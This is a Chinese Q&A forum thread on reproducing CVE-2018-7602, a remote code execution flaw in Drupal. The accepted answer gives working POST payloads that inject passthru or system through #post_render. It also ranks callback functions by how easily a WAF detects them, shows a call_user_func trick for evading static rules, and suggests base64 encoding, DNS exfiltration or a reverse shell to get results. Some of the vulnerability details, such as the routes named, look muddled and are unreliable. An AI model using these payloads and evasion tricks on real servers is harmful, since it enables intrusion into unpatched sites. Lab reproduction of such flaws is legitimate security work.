WWF世界自然基金会 2025-11-30 07:05 采纳率: 98.7%
浏览 0
已采纳

如何复现CVE-2018-7602远程代码执行漏洞?

在复现CVE-2018-7602 Drupal远程代码执行漏洞时,常见问题是如何正确构造恶意请求以触发“__user_autocomplete”路由的注入点。许多测试者在使用HTTP POST请求向 `/user/register` 或 `/user/password` 提交表单数据时,未能正确设置 `form_id` 为 `user_register_form` 或未包含特定的嵌套结构(如`#post_render`回调),导致漏洞无法触发。此外,目标系统PHP版本、Drupal补丁状态及WAF防护常影响利用效果。如何精准构造包含恶意回调函数的`_links`参数,并结合正确的Content-Type(application/x-www-form-urlencoded)完成命令执行,是复现实战中的关键难点。
  • 写回答

1条回答 默认 最新

  • 揭假求真 2025-11-30 09:39
    关注

    一、漏洞背景与成因分析

    CVE-2018-7602 是 Drupal 内容管理系统中一个高危的远程代码执行(RCE)漏洞,影响 Drupal 7.x 和 8.x 版本。该漏洞源于表单渲染过程中对用户输入未充分校验,尤其是在处理 #post_render 回调函数时存在注入风险。

    攻击者可通过构造特定的表单数据,在触发 /user/register/user/password 路由时,利用 _links 参数嵌套恶意回调函数,最终导向 __user_autocomplete 路由执行任意 PHP 代码。

    核心问题在于:如何在不被 WAF 拦截的前提下,精准构造包含可执行回调的嵌套结构,并确保目标系统处于未打补丁状态。

    二、复现环境搭建要点

    • 使用 Docker 部署 Drupal 7.56 或 8.5.3 等受影响版本
    • 关闭自动更新与安全模块(如 Security Kit)
    • 确认 PHP 版本为 5.6~7.2,避免因新版本禁用危险函数导致失败
    • 禁用或绕过 Web 应用防火墙(WAF),如 ModSecurity 规则集
    • 开启详细错误输出以辅助调试(error_reporting = E_ALL

    三、关键参数构造流程图

    POST /user/register HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    form_id=user_register_form
    &_drupal_ajax=1
    &mail[#post_render][]=EXECUTE_CALLBACK
    &mail[#type]=markup
    &mail[#markup]=test
    

    上述请求中,mail[#post_render][] 是触发点,其值应替换为实际可执行的回调函数,例如 systempassthru

    四、恶意回调构造策略对比

    回调函数PHP 支持情况命令回显WAF 规则匹配概率推荐指数
    system全版本支持★★★☆☆
    exec需手动输出★★☆☆☆
    passthru广泛支持★★★☆☆
    shell_exec常被禁用极高★☆☆☆☆
    assertPHP 7.2+ 已弃用视上下文★★★★☆
    preg_replace(/e)PHP 5.5 后移除极高★☆☆☆☆
    create_functionPHP 7.2+ 弃用灵活中高★★★☆☆
    array_map + 匿名函数需编码绕过可控★★★★☆

    五、完整攻击载荷构造示例

    以下是一个可执行 id 命令的典型 POST 请求体:

    form_id=user_register_form
    &_drupal_ajax=1
    &name[#post_render][]=passthru
    &name[#type]=markup
    &name[#markup]=id
    

    注意 URL 编码转换后提交,且必须使用 application/x-www-form-urlencoded 类型,否则 Drupal 不解析数组语法。

    六、调试与检测路径流程图

    graph TD A[发送恶意注册请求] --> B{form_id 是否为 user_register_form?} B -- 是 --> C[检查 #post_render 是否被解析] B -- 否 --> D[返回错误,无法触发] C --> E[进入 __user_autocomplete 处理逻辑] E --> F[执行回调函数 passthru("id")] F --> G[返回命令执行结果] G --> H[获取目标系统权限]

    七、常见失败原因及解决方案

    1. form_id 错误:必须为 user_register_form,不可省略或拼写错误
    2. Content-Type 不匹配:若使用 JSON 或 multipart,则不会触发表单构建器解析逻辑
    3. PHP 函数被禁用:检查 disable_functions 配置项,优先选择 assertinclude 绕过
    4. Drupal 已打补丁:验证版本号,确保未应用 SA-CORE-2018-004 补丁
    5. WAF 拦截关键词:对 systemexec 等进行 base64 编码或变量拼接绕过
    6. 无回显执行:通过 DNS 外带或反弹 shell 获取结果
    7. 路由未启用:确认 /user/register 可访问且允许匿名注册

    八、高级绕过技巧:动态回调与间接执行

    当直接调用敏感函数被拦截时,可采用间接方式:

    name[#post_render][]=call_user_func
    &name[#post_render][][]=system
    &name[#post_render][][]=id
    

    利用 call_user_func 实现函数名与参数分离,有效规避静态检测规则。

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

问题事件

  • 已采纳回答 12月1日
  • 创建了问题 11月30日